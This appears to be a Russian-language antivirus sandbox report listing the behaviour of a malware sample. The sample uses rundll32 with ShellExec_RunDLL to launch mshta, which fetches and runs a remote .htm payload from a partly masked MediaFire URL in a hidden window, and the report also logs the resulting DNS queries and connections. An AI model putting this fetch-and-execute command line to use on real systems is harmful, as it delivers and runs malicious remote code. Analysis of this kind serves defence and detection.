Техническая информация
- '<SYSTEM32>\rundll32.exe' SHELL32.DLL,ShellExec_RunDLL "mshta" "https://www.me###fire.com/file/84q23czu9f3eid8/10.htm/file"
- 'me###fire.com':443
- 'me###fire.com':443
- 'do######2288.mediafire.com':443
- DNS ASK me###fire.com
- DNS ASK do######2288.mediafire.com
- '<SYSTEM32>\mshta.exe' "https://www.me###fire.com/file/84q23czu9f3eid8/10.htm/file"' (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "https://www.me###fire.com/file/84q23czu9f3eid8/10.htm/file"